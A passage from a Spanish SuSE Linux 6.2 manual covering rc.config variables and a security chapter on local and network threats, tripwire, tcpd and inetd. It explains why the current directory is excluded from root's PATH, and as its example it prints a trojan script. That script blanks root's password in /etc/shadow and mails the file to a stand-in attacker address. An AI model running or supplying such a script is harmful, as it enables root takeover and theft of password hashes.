SuSEconfig puede definirla en /etc/SuSEconfig/* (ver en el banco
de datos de soporte SDB http://www.suse.de/sdb/de/html/lynx_
proxy.html). Ejemplo: "http://proxy.provider.de:3128/".
 FTP_PROXY=""
Proxy para FTP. Ejemplo: "http://proxy.provider.de:3128/".
 GOPHER_PROXY=""
Proxy para Gopher. Ejemplo: "http://proxy.provider.de:3128/".
 NO_PROXY=""
Con esta variable es posible excluir sub-dominios del proxy. Ejemplo:
"www.me.de, do.main, localhost".
 START_HYLAFAX=no
Con esa variable se inicia Hylafax. Antes de ponerla en yes hay que
ejecutar faxsetup.
 START_SMB=no
Iniciar el servidor Samba, que es un servidor de ficheros y de impresin
para clientes Windows.
 START_MARSNWE=no
Indica si se debe iniciar la emulacin de servidor de Novell
 START_SSHD=yes
Iniciar el Secure Shell Daemon; antes de iniciarlo asegure la existencia
de un host key ver la documentacin en /usr/doc/packages/ssh
y las Manpages.
 START_XNTPD=yes
Inicia el Network Time Protocol (NTP) Daemon del paquete xntp; la
configuracin misma se realiza en el fichero /etc/ntp.conf.

393
17. El concepto de arranque de SuSE Linux

 DISPLAYMANAGER=""
Define si el login se realiza en la consola de texto o en modo grfico
con el Sistema X Window. Los valores admitidos son xdm (administrador
de ventanas estndar del Sistema X Window), kdm (administrador de ven-
tanas estndar de KDE) o "". En el ltimo caso se supone que no se desea
un login grfico y por tanto la computadora se inicia en el nivel de ejecu-
cin 2 (ingl. Runlevel 2), usando como configuracin predeterminada la
consola de texto.
 KDM_SHUTDOWN=root
Indica cules son los usuarios que tienen el derecho de apagar (Reboot o
Shutdown) la computadora a travs de kdm.
Los valores admitidos son root (`root' tiene que identificarse con su
contrasea), all (todos los usuarios), none (nadie puede apagar la com-
putadora va kdm) y local (solo hay permiso de parar la computadora si
el usuario ha entrado al sistema desde la consola y no a travs de la red).
Si se indica "", se usa root como el valor por defecto.
 CONSOLE_SHUTDOWN=reboot
Aqu se determina el comportamiento del proceso init respecto a la

introduccin de la combinacin de teclas Control 
+ Alt + Suppr . Los
  
valores admitidos son: reboot (la computadora cierra el sistema y se
reinicia), halt (la computadora se para y segn el tipo tambin se apaga)
e ignore (apretar la combinacin de teclas no tiene ningn efecto). La
variable est por defecto en reboot.
 START_AXNET=no
Servidor para Applixware.
 START_MYSQL=no
Servidor para MySQL.
 START_ADABAS=no
Servidor para el programa Adabas, al cual pertenecen las siguientes vari-
ables: DBROOT, DBNAME, DBUSER y DBCONTROL ver los comentarios al
respecto en rc.config.
 START_DB2=no
Servidor para DB2.
 START_ARKEIA=no
Iniciar el servidor de respaldo Arkeia.
 START_ARGUS=no
Servidor para Argus (monitor de red).
 ARGUS_INTERFACE=eth0
La interfaz que Argus debe vigilar.
 ARGUS_LOGFILE="/var/log/argus.log"
El fichero de registro de Argus. Puede llegar a tener un tamao muy
grande!
 CRON=yes
Manipula el inicio y la terminacin del daemon cron. Este daemon inicia
automticamente programas a una determinada hora y solamente se puede
iniciar en los niveles de ejecucin 2 y 3! Se recomienda encarecidamente
su uso en computadoras que estn en funcionamiento las 24h del da.

394
17.6. Las variables en /etc/rc.config Configuracin de sistema

El daemon AT es una alternativa o un suplemento (ver apartado 17.6,


Pgina 392).

Hay una serie de opciones que requieren la ejecucin peridica de deter-


minados programas. Es por eso que el daemon cron debe estar activado en
todos los sistemas.

Servicios de mantenimiento locales


 RUN_UPDATEDB=yes
Determina si se debe actualizar una vez por noche el banco de datos para
el programa locate (locate); locate sirve para encontrar rpidamente
ficheros en el sistema. Es posible adaptar el servicio updatedb a las
necesidades con las variables RUN_UPDATEDB_AS, UPDATEDB_NETPATHS,
UPDATEDB_NETUSER y UPDATEDB_PRUNEPATHS (ver los comentarios en
rc.config).
 REINIT_MANDB=yes
Activar esta opcin si se quiere que cron.daily actualice diariamente el
banco de datos de las Manpages.
 CREATE_INFO_DIR=yes
Determina si se debe generar automticamente el fichero /usr/info/
dir que contiene un ndice de todas las pginas de informacin existentes.
Es especialmente interesante cuando se ha instalado un paquete que con-
tiene una pgina del tipo Info. Tenga en cuenta que se debe instalar perl
para aprovechar esta caracterstica!
 CHECK_PERMISSIONS=set
Esta variable determina si las autorizaciones de un fichero se comprueban
mediante la informacin en /etc/permissions. Definiendo set se cor-
rigen las configuraciones falsas, con warn solo aparecen Advertencias,
y con no se apaga esta caracterstica.
 PERMISSION_SECURITY="easy local"
Hay tres niveles de seguridad preparados /etc/permissions.paranoid,
/etc/permissions.secure y /etc/permissions.easy. Indicar
aqu easy, secure o /etc/permissions.paranoid. Se puede definir
una configuracin propia p. ej. en /etc/permissions.local e indicarla
despus con local.
 RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb
Determina el lugar en el cual cron.daily debe escribir respaldos del banco
de datos RPM; si no se desean respaldos de esto, se ha de poner la variable
en "".
 MAX_RPMDB_BACKUPS=5
Determina la cantidad de respaldos del banco de datos RPM.
 DELETE_OLD_CORE=yes
Corefiles son imgenes de la memoria RAM de programas que se termi-
naron por una violacin de la proteccin de memoria y se pueden usar
para averiguar el error ocurrido. La variable permite activar la bsque-
da peridica de ficheros Core antiguos para su posterior eliminacin au-
tomtica.

395
17. El concepto de arranque de SuSE Linux

 MAX_DAYS_FOR_CORE=7
Esta variable determina la edad mxima (en das) de los ficheros de core
antes de borrarlos automticamente.
 MAX_DAYS_FOR_LOG_FILES=365
Cuando un fichero de registro (generalmente en /var/log) alcanza un
determinado tamao, ste se comprime automticamente y se archiva.
Despus, un mensaje por correo lo indica al sper-usuario root. Esta
variable determina cunto tiempo se almacenan estos ficheros de registro
antes de borrarlos automticamente. Si el valor est en 0 no se comprime
ni se archiva nada. Los ficheros de registro se siguen escribiendo en-
tonces para la eternidad y pueden por tanto llegar a ser muy grandes! Para
ver los ficheros comprimidos se puede usar less.
 MAX_DAYS_IN_TMP=30
Cada da se comprueba si existen en el directorio tmp ficheros que no
hayan sido usados para ms das que los indicados en la variable. Si
existe un fichero as, se borra automticamente.
 TMP_DIRS_TO_CLEAR="/tmp /var/tmp"
Indicacin de aquellos directorios para los que se realiza la bsqueda de
ficheros antiguos.
 OWNER_TO_KEEP_IN_TMP="root bs"
Los ficheros de los usuarios que se indican aqu no se borran de los direc-
torios temporales aunque ya se les considere antiguos.
 ROOT_LOGIN_REMOTE=yes
Permitir el Login para `root' va telnet.
 SUSEWM_UPDATE=yes
Aqu se determina si SuSEconfig debe adaptar los ficheros de con-
figuracin del sistema para los gestores de ventas en funcin de los
paquetes de software instalados. Esto se puede personalizar mediante
las variables SUSEWM_WM, SUSEWM_MWM, SUSEWM_XPM, SUSEWM_ADD y
SUSEWM_COMPAT.

396
Parte VIII

Seguridad y otros buenos


consejos

397
Captulo 18
Seguridad y Confianza

18.1 Fundamentos
Los peligros latentes en Internet son noticia constante en los medios de co-
municacin; casi cada da aparece una nueva amenaza para la computadora
en casa o para toda la red de una empresa que, por lo general, se manifiestan
en forma de virus; sin embargo, es posible protegerse de ellas.
Antes de comentar los distintos mecanismos de proteccin hay que aclarar lo
que realmente significa seguridad1 (ingl. Security) y cules son las amenazas
de las que nos debemos proteger. Los siguientes 6 aspectos muestran el
amplio campo de lo que representa la seguridad en un sistema informtico:
1. Proteccin de los recursos
2. Acceso a la informacin
3. Disponibilidad de los datos
4. Integridad de los datos
5. Confidencialidad de los datos (marco legal, p. ej. en consultorios mdicos,
bancos, etc.)
6. Privacidad
Cualquier concepto de seguridad debe garantizar estos 6 aspectos. Para garan-
tizarlos es importante considerar tambin los peligros que conlleva la rotura
de hardware, como p. ej. el headcrash (cada del cabezal) de un disco duro,
o cintas de respaldo defectuosas.

Una parte elemental de un buen concepto de seguridad son los respaldos


peridicos de todos los datos, cuya integridad en el medio de respaldo
(cinta, etc.) debe ser comprobada.

En resumen, existen las siguientes posibilidades para atacar a una computa-


dora o a la red de la que forma parte:
Los usuarios que trabajan directamente con la computadora representan la
mayor amenaza. Los accesos indebidos no necesariamente se realizan a
propsito, pero tampoco se pueden descartar por completo los intentos de
violar la seguridad por parte de empleados.
1 Los anglosajones usan con mucha frecuencia el trmino Trust, que se refiere bsicamente al

grado de confianza que tiene el usuario en su sistema.

399
18. Seguridad y Confianza

Comunicacin que podra ser interceptada a travs de redes locales o redes


pblicas, como es el caso de Internet; adems, estas redes ofrecen la
posibilidad de violar la seguridad desde lugares remotos.
Acceso directo a computadoras por ladrones u otras personas no autor-
izadas; robo o sabotaje.
Catstrofes naturales como rayos o inundaciones que pueden daar los
equipos.
Hardware y software defectuoso que puede poner los datos en peligro de
ser borrados o que individuos no autorizados accedan a ellos.
Medios de almacenamiento como disquetes, cintas o discos duros se
pueden deteriorar o pueden ser robados.
Campos electromagnticos emitidos por cada computadora, monitor o ca-
ble de red (se pueden visualizar con los aparatos adecuados).
En este captulo consideramos sobre todo los dos primeros aspectos, porque
es justamente en estos donde el uso planificado de SuSE Linux puede reducir
considerablemente el peligro de intrusiones. Los dems aspectos no interesan
tanto al usuario privado, sin embargo, deben ser considerados en el caso de
una red empresarial.
Para comenzar, el apartado 18.1.1 y el apartado 18.1.2, mencionan las dis-
tintas posibilidades de atacar un sistema; el apartado 18.2 en la Pgina 404
presenta en detalle las herramientas que proporciona SuSE Linux 6.2 para
combatir esos ataques. Al final se da una serie de importantes consejos que
se recomienda seguir.

18.1.1 Seguridad local


Lo mejor para protegerse es comenzar con la computadora propia en la red
local. Incluso cuando la computadora no est en red, es mejor vigilar los
principios bsicos de seguridad. Una simple manipulacin del disco duro por
parte de "invitados"podra provocar grandes problemas si se pierden con ella
los ltimos resultados de la tesis doctoral, por ejemplo!.

Contraseas
Linux es un sistema operativo multiusuario que no solo trata con distintos
usuarios y sus perfiles, sino que tambin maneja un mecanismo de auten-
tificacin mediante contraseas; aunque parezca molesto, es mejor asignar a
cada usuario del sistema una buena contrasea2. As se consigue como mni-
mo una buena proteccin respecto al intruso incauto. El superusuario `root'
es generalmente el centro de ataques, as que su contrasea debe ser elegida
con especial atencin.
No obstante, las mejores contraseas no sirven si el intruso tiene acceso
directo a la computadora y la puede arrancar por ejemplo con un disquete
de arranque. Esto le dara acceso directo al sistema, por lo que se debera
desactivar en el Setup de la BIOS la posibilidad de arrancar la computadora
con disquete o CD-ROM.
2 Ya se ha escrito mucho acerca de la eleccin de una buena contrasea y en el apartado 18.4

damos algunos consejos al respecto.

400
18.1. Fundamentos

En el mismo momento de desactivar la posibilidad de arranque va dis-


quete, se debe activar una contrasea para la BIOS la cual se debe recordar
siempre para no perder el acceso normal a ella. Si la contrasea se perdi
queda como remedio resetear la BIOS

Si est usando LILO (ver apartado 4.4.2, Pgina 116), es recomendable colo-
car en el fichero /etc/lilo.conf la opcin restricted junto con una con-
trasea (p. ej. contrasea_segura) y activarla con el comando lilo. Sin
esta proteccin cualquier persona sentada en frente de la mquina sera ca-
paz de violar la seguridad del sistema. La contrasea ha de ser segura y solo
`root' debe tener acceso de lectura al fichero /etc/lilo.conf.
El paquete john de la serie Software del mbito de seguridadsec
contiene un programa para descubrir contraseas. Un administrador de sis-
tema cuidadoso puede utilizar este programa para averiguar las contraseas
dbiles para luego poder evitarlas!

Derechos de acceso
Para restringir las posibilidades de los usuarios, estos siempre deben trabajar
con el mnimo de derechos posibles. Esto incluye al administrador de sistema
que no debe trabajar como superusuario cuando no est realizando ninguna
tarea de administracin. La contrasea del superusuario siempre debe man-
tenerse en secreto, para evitar cualquier manipulacin sea a propsito o acci-
dental.

Buffer Overflows y otros ataques


El mtodo ms comn para conseguir derechos de `root' en un sistema es
el de provocar buffer overruns3. El funcionamiento de estos Exploits se
basa en sobreescribir campos estticos de la pila de usuario (ingl. User stack)
de un determinado programa en ejecucin. De esta forma se sobreescriben
otras variables en la pila de usuario para ejecutar as el cdigo deseado (p. ej.
una shell). Programas vulnerables a este tipo de ataque son aquellos que
tienen un tamao de campo (array) esttico para la entrada de valores y que
no tienen control de desbordamiento de bfer.
Los nicos programas atractivos para estos ataques son los que tienen el
suid-Bit o el sgid-Bit activado, por lo que se ejecutan con los derechos
del propietario del programa y no con los del usuario que ejecuta el progra-
ma. Normalmente estos programas necesitan el modo suid root, ya que
ejecutan programas de los que root es propietario (p. ej. passwd). La meta
de SuSE Linux es la de disminuir al mximo la cantidad de programas con
esta caracterstica para proteger de este modo el sistema. Adems, se acon-
seja consultar las publicaciones tpicas sobre el tema de seguridad y, en caso
de que aparezca un hueco de seguridad, instalar inmediatamente los parches
necesarios.
Otro tipo de ataque a programas privilegiados son los llamados link attacks.
Por el trabajo inseguro de estos programas en directorios publicos realizan,
3 El tema se conoce tambin bajo el nombre stack smashing vulnerabilities.

401
18. Seguridad y Confianza

sera posible pasar datos a ficheros muy distintos de lo pensado, consiguiendo


con ello informacin restringida sobre el sistema.
Para reducir la cantidad de ficheros tipo suid y sgid, SuSE Linux ofrece
a travs de YaST la posibilidad de asignar los permisos sobre los ficheros,
de tal modo que el acceso a ellos sea seguro. Elija `Administracin
de sistema', `Configuraciones de seguridad' y ponga secure
o paranoid en `Los permisos de archivo estn como:'. Se puede
comprobar los ficheros /etc/permissions.secure y /etc/permissions.
paranoid para ver los permisos modificados.
Por su complejidad y la cantidad de cdigo existente, el Sistema X Window
(XFree86) ha presentado con cierta frecuencia huecos de seguridad que ac-
tualmente no representan tanto problema ya que en SuSE Linux los servidores
y libreras ya no son suid-root. Sin embargo, pueden existir algunos defec-
tos en la comunicacin cliente-servidor, por lo cual, tambin existe la posi-
bilidad de interceptar las entradas por teclado o de leer el contenido de una
ventana. Si se tiene en cuenta el consejo No. 3, usando Xauthority mediante
el comando xauth y renunciando al comando xhost +, se consigue un nivel
alto de seguridad. Para iniciar programas del Sistema X Window de forma re-
mota, se usa el paquete ssh de la serie n (network); en caso de uso comercial
consultar los trminos de licencia en /usr/doc/packages/ssh/COPYING.
ssh existe para casi todas las plataformas.

Por razones de seguridad adems de la prdida de rendimiento, es mejor


prescindir del Sistema X Window en los servidores.

Virus y caballos de Troya


Hay computadoras y sistemas operativos que estn seriamente amenazados
por muchos tipos de virus, ya que el traspaso de software en disquete repre-
senta el mejor caldo de cultivo para los virus. Afortunadamente, hasta ahora
solo se conocen 2 virus para Linux. Como prcticamente no se traspasa soft-
ware para Linux en formato binario y adems SuSE Linux puede ser consid-
erado libre de virus, no existe ningn peligro, mientras se tenga en cuenta el
consejo No. 1 de la pgina 410.
Otra cosa son los virus de macro que se siguen extendiendo p. ej. va E-
Mail, incorporados en documentos de procesadores de texto. Como no existe
ningn paquete de ofimtica estndar para Linux, estos virus se encuentran
bajo SuSE Linux en un ambiente estril. Cuando se usa SuSE Linux en un
servidor de correo como agente de traspaso de correo (ingl. Mail Transfer
Agent), existe la posibilidad de escanear todo el correo entrante y saliente
para detectar algn virus incorporado.
El caso de los caballos de Troya es muy distinto . Son programas que
aparentan ser algo muy diferente de lo que realmente son, para poder actuar a
escondidas". Por ejemplo, por detrs de un prompt de login se puede esconder
un caballo de Troya que almacena en un fichero las contraseas robadas o las
enva por E-Mail al presunto intruso. Es algo que puede parecer inofensivo
y divertido, pero en el momento que se trata de robar nmeros de tarjetas de
crdito o la clave de acceso a la cuenta corriente, pasa a ser algo serio.

402
18.1. Fundamentos

No hay ninguna proteccin definitiva contra los virus y los caballos de Troya
pero un buen programa antivirus, un cierto cuidado al traspasar informacin
va disquete as como el hecho tomar en consideracin los consejos expuestos
en el apartado 18.4, pueden ayudar mucho.

18.1.2 Seguridad en redes


Ya casi no quedan computadoras que trabajen por s solas. Con las excelentes
capacidades de comunicacin no es de extraar que muchas computadoras
con Linux se encuentren en una red de rea local (LAN), estn conectadas
va mdem o RDSI a Internet o sirven de pasarela (ingl. Gateway) para to-
da una sub-red. De esta forma, cada computadora est expuesta a mltiples
amenazas procedentes de la red. A la mayora de los posibles ataques se hace
frente con la configuracin adecuada de un cortafuegos (ingl. firewall). Los
puertos del cortafuegos que quedan abiertos siguen siendo vulnerables, pero
la aplicacin de algunas herramientas adicionales puede reducir considerable-
mente el peligro.
La probabilidad de ser el destino de un ataque de este estilo durante unos
30 minutos de comunicacin (para leer p. ej. el correo) es prcticamente de-
spreciable, sin embargo, se deben proteger en todo caso los sistemas que se
conectan a travs de una lnea permanente. A continuacin se presentan las
formas de ataque ms frecuentes.

Man in the Middle


Los ataques del tipo Man in the Middle se refieren a paquetes de informa-
cin en la red que se rutean a travs de una o de varias computadoras entre
distintas redes. El agresor tiene en este caso el control sobre uno de los en-
rutadores (ingl. router) y puede interceptar, modificar y desviar los paquetes
IP. Como los paquetes IP no estn autentificados en la actualidad, esta for-
ma de ataque es relativamente sencilla, sin embargo, el futuro estndar IPv6
mejorar esta situacin.
Estos ataques se pueden producir p. ej. cuando se est enviando E-Mail o
accediendo a un servidor web y el nico remedio contra ellos es el uso de
la criptografa. Las conexiones de red va telnet o rsh son legibles (con-
trasea incluida), ya que no se encriptan y para evitarlo lo mejor es usar ssh
para conectarse. En cuanto a los E-Mails es posible apoyarse en pgp. La
transmisin codificada de pginas web se consigue con el protocolo SSL . El
paquete apassl de la serie n (network) contiene el servidor Apache (paquete
apache), capaz de usar SSL.

Buffer Overflows, 2a entrega


Los Buffer overflows representan, directamente por detrs del sniffing (la
lectura pasiva de datos para espiar p. ej. contraseas), la manera ms frecuente
de poner en peligro la seguridad del sistema. En realidad cualquier servicio
que sea accesible desde afuera, representa un problema potencial de seguridad
(p. ej. Mail, Webserver, POP3, etc.) Todos los servicios imprescindibles solo
deberan ser accesibles a travs de una configuracin de Firewall del kernel de
Linux (mediante ipchain) y solo se debera brindar servicios a determinados

403
18. Seguridad y Confianza

solicitantes. Si esto no fuera posible, lo mejor es realizar el servicio en


cuestin con una versin especialmente segura (p. ej. paquete postfix en
lugar de paquete sendmail). Adems los expertos tienen la posibilidad de
ejecutar cada servicio en su propio entorno chroot.

Denial of Service
Para ataques del tipo Denial-of-Service, el agresor bloquea un determinado
servicio de red por sobrecarga. Segn las circunstancias, esto no solo afecta
a un servicio de red en concreto sino que bloquea todos los accesos a la
computadora. Este tipo de ataque se realiza especialmente para dejar fuera
de servicio a un servidor de nombres con el propsito de acoger su funcin y
de este modo poder desviar los paquetes de red a otro lugar. Para ocultar el
origen del ataque, normalmente el Denial of Service se usa en combinacin
con IP Spoofing (ver el apartado 18.1.2).
Por lo general, un par de horas despus de la publicacin de un ataque tipo
Denial of Service, el cual realmente llega a paralizar una computadora,
aparece un parche para protegerse de l. SuSE Linux incluye parches contra
todos los ataques de este tipo que se han llegado a conocer hasta el momento
de la edicin de este libro, no obstante, el administrador del sistema debera
estar siempre al tanto de las ltimas novedades.

IP Spoofing
Con IP Spoofing se denomina una tcnica que aprovecha un hueco de se-
guridad del protocolo TCP/IP. Ya que no se controla la direccin IP del remi-
tente de un paquete TCP/IP es posible modificarla, lo cual permite al agresor
poder camuflarse.
Lo ms importante es configurar el propio enrutador de tal manera que solo
los paquetes con una direccin externa pasen a la red interna y que solo salgan
los mensajes con una direccin interna vlida.

18.2 Utilidades
Este apartado explica las posibilidades para controlar el sistema usando her-
ramientas que comprueban la integridad del mismo. Ante todo hay que
aclarar que la exposicin frente a los ataques es particular para cada caso;
p. ej. una red que est protegida por un cortafuegos no precisa de tantas me-
didas de seguridad y control como lo necesita una que no lo est.

18.2.1 Utilidades locales


Entre las ventajas indiscutibles de Linux destacan su estabilidad y el con-
cepto multiusuario que por otra parte conlleva tambin ciertos riesgos nada
despreciables. Estos se originan en los derechos de acceso y ejecucin menos
conocidos de los cuales se puede aprovechar un usuario (agresor) experimen-
tado. De hecho se trata del llamado suid-bit; un programa que tenga este bit
activado posee automticamente los derechos del usuario al cual pertenece.
Si el programa pertenece al superusuario, entonces se le otorga durante la eje-
cucin los derechos del superusuario aunque haya sido iniciado por cualquier

404
18.2. Utilidades

otro usuario. Esto parece peligroso pero es imprescindible para ejecutar al-
gunas funciones. Un ejemplo es ping, que se debe ejecutar con derechos de
superusuario. Para que todos los usuarios lo puedan usar, el suid-bit de ping
est activado.
tux@tierra:/home/tux > ls -l /bin/ping

-rwsr-xr-x 1 root root 13216 Mar 17 16:36 /bin/ping

Para saber cules programas de la computadora tienen el suid-bit activado y


pertenecen al usuario `root', introduzca el siguiente comando:
tux@tierra:/home/tux > find / -uid 0 -perm +4000
De este modo es posible identificar programas sospechosos. Con YaST,
SuSE Linux ofrece la posibilidad de asignar los permisos sobre los ficheros
de tal modo que el acceso a ellos sea seguro. Elija `Administracin de
sistema', `Configuraciones de seguridad' y ponga secure para
`Los permisos de archivo estn como:'. Se puede comprobar el
fichero /etc/permissions.secure para ver los permisos modificados.
Cuesta bastante tiempo supervisar continuamente una o varias computadoras,
pero existen afortunadamente herramientas que facilitan esta tarea. Una de
estas herramientas es el programa tripwire, paquete tripwire, serie sec
(Software del mbito de seguridad), recomendado por el CERT4 .

Tripwire
El funcionamiento de tripwire es bastante sencillo; el programa repasa todo
el sistema y almacena informacin sobre los ficheros en un banco de datos.
Hay un fichero de configuracin que permite definir cules directorios se
deben comprobar y cules aspectos se deben vigilar.
Tripwire no busca ficheros infectados ni fallos del sistema sino que genera
un banco de datos sobre un sistema supuestamente limpio. Por lo tanto
se aconseja generar este banco de datos inmediatamente despus de la in-
stalacin y antes de conectar la computadora a la red, mediante el siguiente
comando:
root@tierra:root > /var/adm/tripwire/bin/tripwire -init
La Tabla 18.1 muestra las ramas del banco de datos y del fichero de configu-
racin del modo en que estn fijadas en SuSE Linux.
Las ramas se definieron de este modo, ya que solo el superusuario puede
entrar a su directorio home /root. Lo ideal es tener el banco de datos
sobre un sistema de ficheros de solo lectura como p. ej. un disquete pro-
tegido contra escritura, dado que en caso contrario el agresor sera capaz
de ocultar sus manipulaciones modificando el banco de datos. El fichero
/usr/doc/packages/tripwire/tw.conf.example.linux muestra una
4 CERT = Computer Emergency Response Team; ver http://www.cert.dfn.de/dfncert/
info.html.

405
18. Seguridad y Confianza

/var/adm/tripwire Banco de datos y fichero de configuracin


databases Este directorio se genera de forma au-
tomtica y alberga temporalmente los ban-
cos de datos nuevos. Despus estos se
deben copiar a mano al lugar correcto.
/var/adm/tripwire/ El fichero de configuracin.
tw.config
/var/adm/tripwire/db Aqu se encuentra el banco de datos.

Tabla 18.1: Las ramas fijas de los componentes de Tripwire

configuracin de ejemplo para Tripwire. La sintaxis y las caractersticas de


este fichero de configuracin se detallan en la Manpage de tw.config. Se
pueden usar diferentes mtodos para generar sumas de comprobacin y tam-
bin es posible indicar qu informacin sobre un fichero o directorio debe ser
grabada.
Despus de generar un fichero de configuracin individualizado, se podra
p. ej. ejecutar tripwire con regularidad como una tarea de cron.

SuSE Security Tools


El paquete secchk, serie sec (Software del mbito de seguridad) contiene
dos programas especiales para SuSE Linux. Despus de la instalacin se ll-
evan a cabo peridicamente algunas comprobaciones de seguridad (p. ej. la
consistencia del fichero de contraseas, los datos de los usuarios, los mdu-
los en ejecucin, etc.) y las modificaciones se notifican al administrador de
sistema. El script /etc/security/harden_suse.pl, escrito en Perl, se desarroll
para ofrecer a los administradores de sistema un programa de uso sencillo
con el fin de aumentar la seguridad. Despus del inicio del mismo aparecen 9
preguntas del tipo S/No, p. ej. sobre la desactivacin de servicios o la mini-
mizacin de ficheros con suid o sgid-bit. Con estas indicaciones el programa
efecta cambios en la configuracin del sistema. Si despus de esto el sistema
se comportara de forma no deseada, se podra restablecer la configuracin an-
terior con /etc/security/undo_harden_suse.pl.

Leer Logfiles
Una buena fuente de informacin sobre las actividades que se llevan a cabo
en la computadora son los ficheros de registro (Logfiles), ya que el sistema
y determinados programas almacenan en estos informacin. Se debera com-
probar regularmente, como mnimo, el fichero /var/log/messages, ya que
SuSE Linux anota en l la gran mayora de informacin disponible.
Por lo general falta el tiempo o la motivacin para comprobar estos ficheros
que crecen continuamente. Por suerte hay herramientas para ayudar en esta
tarea como por ejemplo el programa logsurfer, que permite el control contin-
uo de los ficheros de registro. Determinados mensajes en el fichero de registro

406
18.2. Utilidades

provocan determinadas reacciones, como p. ej. el envo de un mail o el inicio


de un programa externo.
Hay ejemplos de configuracin en la excelente Manpage de logsurfer.conf
(man 4 logsurfer.conf).

La variable <PATH> y el usuario `root' : : :

Trabajando como `root' en SuSE Linux probablemente ya se habr notado


que el directorio actual se excluye del path de bsqueda. Esto se manifiesta
con la necesidad de anteponer ./ a cualquier programa a ejecutar que se
encuentre en el directorio actual. La razn para esto se explica fcilmente
de la siguiente manera:

 Supongamos que hay un usuario dado de alta en el sistema y ste crea el


script que figura en el Fichero 18.2.1, Pgina 407.

#!/bin/sh

cat /etc/shadow | \
sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow
mailx hacker@hackit.org -s "Root Account hacked" < /etc/shadow
ls $*

Fichero 18.2.1: Script para obtener una cuenta de `root'

 Este script lo copia a /tmp/ls


 Si en esta situacin el directorio de `root' es /tmp, este directorio (co-
mo directorio actual) se encuentra por delante de /bin en la variable
<PATH>, por lo cual, el comando ls ejecuta el script mencionado en

lugar del ls real en /bin/ls. El script quita la contrasea de `root' y


enva un mail al usuario agresor informndole que dispone ahora de una
cuenta con derechos de superusuario en la computadora. Esto no es muy
agradable ;-)

Si el directorio actual no hubiese formado parte del path de bsqueda,


se debera haber introducido explcitamente el comando ./ls para ejecutar
el script, o sea que, introduciendo solo ls como es normal se hubiera
ejecutado ls y no hubiera pasado nada. De hecho el script es un caballo de
Troya (ver el apartado 18.1.1).

18.2.2 Utilidades para la red

No cabe duda que es muy importante vigilar y controlar una computadora


incorporada en una red, por lo tanto, se comentan a continuacin algunas
medidas de proteccin contra ataques procedentes de la misma.

407
18. Seguridad y Confianza

El inetd
Es importante reflexionar bien sobre los servicios (puertos) que ofrece el
inetd (Internet Super-Server). En la configuracin predeterminada de SuSE
Linux, los servicios peligrosos estn desactivados. Como peligrosos se
consideran los servicios internos (ingl. internal services) de inetd. El fichero
de configuracin se encuentra bajo /etc/inetd.conf; sin embargo, tam-
bin se debe tener cuidado con otros servicios todo depende de las necesi-
dades individuales. Es recomendable echar un vistazo al fichero de configu-
racin, ya que hay varios servicios activados por defecto (p. ej. POP3). El el
Fichero 18.2.2 se muestra una seleccin de los servicios que normalmente se
necesitan en la mayora de casos.

ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -a


telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -w
ident stream tcp wait nobody /usr/sbin/in.identd in.identd \
-w -e -t120

Fichero 18.2.2: Ejemplo de configuracin tpica para el inetd

Tal vez sera conveniente prescindir de los servicios telnet, shell y login, ya
que estos permiten al agresor capturar todos los datos sin codificacin (con-
trasea incluida). Para hacerlo ni siquiera se requiere de conocimientos espe-
ciales, porque existen programas hechos a tal propsito. En ningn caso es
apropiado permitir el login remoto como superusuario `root'. Para reme-
diar este problema se puede recurrir a la Secure Shell (paquete ssh), con la
que se encripta toda la informacin transmitida como tambin la contrasea
usada.

El TCP-Wrapper
El TCP-Wrapper (tcpd) permite dar acceso a determinados servicios en fun-
cin de la direccin IP del solicitante. El programa tcpd ya est integra-
do en SuSE Linux tal como se puede observar en la sexta columna del
Fichero 18.2.2. El funcionamiento de este servicio es sencillo ya que tcpd
se encarga de lanzar los servicios despus de comprobar si el cliente est
autorizado a usarlos.
Este control de acceso se configura mediante los ficheros /etc/hosts.
allow y /etc/hosts.deny.
 Se permite un determinado acceso cuando existe la correspondiente com-
binacin de cliente y servicio en el fichero /etc/hosts.allow.
 Por el contrario, si esta combinacin de cliente y servicio se encuentra en
el fichero /etc/hosts.deny, el acceso es denegado.
 Si la combinacin en cuestin no se encuentra en ninguno de los dos
ficheros, el acceso es autorizado.

408
18.3. Seguridad en SuSE Linux

Las combinaciones de servicio y cliente que se indican en /etc/hosts.


allow son ms fuertes que las mismas en /etc/hosts.deny; por ejem-
plo, cuando se permite en el fichero /etc/hosts.allow el acceso al puer-
to de telnet, ste continua abierto aunque fuera denegado por una indi-
cacin en /etc/hosts.deny.

La sintaxis para estos ficheros se explica en la Manpage de hosts_access


(man 5 hosts_access).
La alternativa al uso de la combinacin TCP-Wrapper/inetd es el xinetd (pa-
quete xinetd, serie n (network)). Este combina las funcionalidades de inetd
y tcpd, con la desventaja de la incompatibilidad entre los ficheros de configu-
racin de inetd y xinetd.

Como solo se puede iniciar uno de los Internet Super-Server, es nece-


sario decidirse por uno de ellos.

La serie secchk (Software del mbito de seguridad)sec incluye otros pro-


gramas que ayudan en la instalacin de un sistema seguro; se pueden probar
algunos de estos.

18.3 Seguridad en SuSE Linux


SuSE ofrece los siguientes servicios para proporcionar una distribucin enfo-
cada a temas de seguridad:

Hay dos listas de correo a disposicin de todos los interesados:


 suse-security-announce para publicar noticias por parte de SuSE
sobre problemas de seguridad.
 suse-security se publican las noticias y es un foro de discusin.
Para apuntarse en cualquiera de estas listas de correo, es suficiente con enviar
un E-Mail a majordomo@suse.com con el contenido:
subscribe suse-security
o con el contenido:
subscribe suse-security-announce

Notificacin central de problemas de seguridad:


Si se ha descubierto un nuevo problema de seguridad (compruebe antes las
actualizaciones disponibles), enve un E-Mail a security@suse.de con la
descripcin del problema. Nos preocuparemos inmediatamente del asun-
to. Puede mandar los datos encriptndolos con paquete pgp. Nuestra clave
pblica (public pgp key5 ) se encuentra, lista para descargar, bajo http:
//www.suse.de/security.
5 PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5

409
18. Seguridad y Confianza

18.4 Consejos generales


1. No entrar al sistema como superusuario `root' para las tareas diarias, ya
que debe ser solo para trabajos de administracin de sistema.
2. Evitar al mximo el uso de telnet, rlogin o ms an el de rsh.
